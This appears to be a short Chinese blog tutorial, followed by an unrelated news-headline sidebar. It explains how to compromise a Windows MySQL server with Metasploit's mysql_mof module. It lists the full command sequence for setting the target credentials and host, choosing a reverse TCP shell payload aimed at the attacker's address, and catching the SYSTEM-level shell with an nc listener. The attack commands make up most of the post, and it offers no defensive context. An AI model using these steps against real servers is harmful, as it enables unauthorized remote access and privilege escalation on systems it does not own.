mysql mof+metasploit反弹shell
admin
2023-05-15 07:02:04
0次
鉴于上篇文章 http://z2ppp.blog.51cto.com/11186185/1975985 mysql mof提权
metasploit已经有针对该方式的利用代码，原理还是一样生成mof文件，只是metasploit中可以使用到反弹技术，就不用额外添加用户，前提是对方服务器允许访问公网
use exploit/windows/mysql/mysql_mof set password xxx //设置登录mysql的密码 set username xxx //设置登录mysql的用户 set rhost xxx //设置要登录的ip地址 set rport xxxx //设置mysql的端口号 set payload windows/shell_reverse_tcp //所使用的反弹模块 set lhost xxx //反弹到的ip地址 set lport xxx //反弹到的端口 show options //设置完成后，使用该命令可查看设置参数情况 exploit //执行
如没问题，即exploit执行
这边我们使用nc监听对应端口号，就可以接收到shell了，通常情况为system权限，因为mof文件是由system执行
错误之处，敬请指正
上一篇：MySQL登录数据库 h参数
下一篇：Oracle中空值与数字相加问题
相关内容
热门资讯
伊朗如此大幅度地升级冲突，美官...
近来，在美国暂停打击行动的背景下，伊朗主动发起了攻击，美国方面感到惊讶。美国总统特朗普正考虑对伊朗发...
莫斯科餐厅爆炸已致3死21伤，...
当地时间8月1日，俄罗斯国家反恐委员会表示，莫斯科市中心一家餐厅发生的事故系自制爆炸装置爆炸所致。通...
两部门向吉林、黑龙江派出工作组
新华社消息，记者从应急管理部获悉，国家防灾减灾救灾委员会办公室、应急管理部1日针对吉林、黑龙江等地近...
太离谱！中国也“躺枪”，日媒紧...
自日本熊本日前发生强震以来，日本社交媒体上出现多则日语网帖称“熊本地震是人工制造的”。7月30日，日...
太子集团“幕后大哥”胡小伟已离...
据报道，太子集团核心人物胡小伟（别名“胡石”，此前网传的陈志“幕后大哥”）已于7月29日离开日本，并...
特斯拉正考虑剥离中国业务？马斯...
7月31日，有美媒消息称特斯拉正考虑剥离中国业务，此举是为未来与SpaceX的潜在合并铺路。马斯克在...
广西日报特稿《王的猜想》加印纸...
2026年7月29日下午，近日备受舆论关注的广西日报特稿《王的猜想》线上开售加印纸质版，遭遇网友热情...
“欧洲是一块诱人的肥肉” ，美...
据美国有线电视新闻网（CNN）7月30日报道，随着欧洲野火肆虐，气温接连刷新历史极值，一款中国制造产...
外交部谈中国暂停核试验30周年
7月30日，外交部发言人毛宁主持例行记者会。有记者提问，今年是《全面禁止核试验条约》达成30周年，昨...
凤凰女记者德黑兰日志：强硬声音...
【编者按】这是凤凰卫视驻伊朗记者李睿的日记。她身处德黑兰，既是战争的亲历者，也是观察者。伊朗战争如今...